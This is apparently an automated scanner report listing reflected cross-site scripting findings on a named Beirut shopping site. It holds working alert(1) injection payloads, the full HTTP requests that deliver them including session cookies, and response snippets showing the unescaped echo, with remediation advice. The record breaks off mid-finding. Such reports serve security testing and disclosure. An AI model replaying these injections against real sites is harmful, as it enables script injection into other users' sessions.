GET /Shopping/Clothing-Accessories623d3<script>alert(1)</script>0209725161f/194367784/Leather-Goods/76 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:10:27 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55582
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Clothing Accessories623d3<script>alert(1)</script>0209725161f <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c70d3'-alert(1)-'947cb80fe8c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784c70d3'-alert(1)-'947cb80fe8c/Leather-Goods/76 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:14:13 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55109
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Clothing-Accessories/194367784c70d3'-alert(1)-'947cb80fe8c/Leather-Goods/76'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 50a8c'-alert(1)-'86e651e2ac4 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Leather-Goods50a8c'-alert(1)-'86e651e2ac4/76 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:23:15 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55583
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Clothing-Accessories/194367784/Leather-Goods50a8c'-alert(1)-'86e651e2ac4/76'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 33884'-alert(1)-'81af099caa5 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Leather-Goods/7633884'-alert(1)-'81af099caa5 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:26:45 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55303
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Clothing-Accessories/194367784/Leather-Goods/7633884'-alert(1)-'81af099caa5'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b7b37"><a>c4d399baf66 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shoppingb7b37"><a>c4d399baf66/Clothing-Accessories/194367784/Shoes/26 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:51:06 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59840
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shoppingb7b37"><a>c4d399baf66"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7e087'-alert(1)-'c386b19e7ff was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping7e087'-alert(1)-'c386b19e7ff/Clothing-Accessories/194367784/Shoes/26 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:59:26 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59985
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping7e087'-alert(1)-'c386b19e7ff/Clothing-Accessories/194367784/Shoes/26'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload d2993<script>alert(1)</script>75d3d52f674 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Clothing-Accessoriesd2993<script>alert(1)</script>75d3d52f674/194367784/Shoes/26 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:03:33 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61833
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Clothing Accessoriesd2993<script>alert(1)</script>75d3d52f674 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 14482'-alert(1)-'ad7f2c767e5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories14482'-alert(1)-'ad7f2c767e5/194367784/Shoes/26 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:02:57 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61558
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Clothing-Accessories14482'-alert(1)-'ad7f2c767e5/194367784/Shoes/26'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2780c'-alert(1)-'6021778fc8b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/1943677842780c'-alert(1)-'6021778fc8b/Shoes/26 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:05:45 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61322
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Clothing-Accessories/1943677842780c'-alert(1)-'6021778fc8b/Shoes/26'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 46cc6'-alert(1)-'bb7743f175e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Shoes46cc6'-alert(1)-'bb7743f175e/26 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:09:54 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61971
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Clothing-Accessories/194367784/Shoes46cc6'-alert(1)-'bb7743f175e/26'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7bbcd'-alert(1)-'908d6412763 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Shoes/267bbcd'-alert(1)-'908d6412763 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:15:18 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55284
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Clothing-Accessories/194367784/Shoes/267bbcd'-alert(1)-'908d6412763'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a6fa"><a>edfe7e65f36 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping3a6fa"><a>edfe7e65f36/Clothing-Accessories/194367784/Swimwear/53 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:14:12 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59617
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping3a6fa"><a>edfe7e65f36"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dbd4e'-alert(1)-'c5cf03e5ec1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shoppingdbd4e'-alert(1)-'c5cf03e5ec1/Clothing-Accessories/194367784/Swimwear/53 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:26:36 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60292
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shoppingdbd4e'-alert(1)-'c5cf03e5ec1/Clothing-Accessories/194367784/Swimwear/53'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6f2d0'-alert(1)-'39bc71dac90 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories6f2d0'-alert(1)-'39bc71dac90/194367784/Swimwear/53 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:32:31 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62269
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Clothing-Accessories6f2d0'-alert(1)-'39bc71dac90/194367784/Swimwear/53'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 4fd2c<script>alert(1)</script>10f60d99e65 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Clothing-Accessories4fd2c<script>alert(1)</script>10f60d99e65/194367784/Swimwear/53 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:33:20 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62245
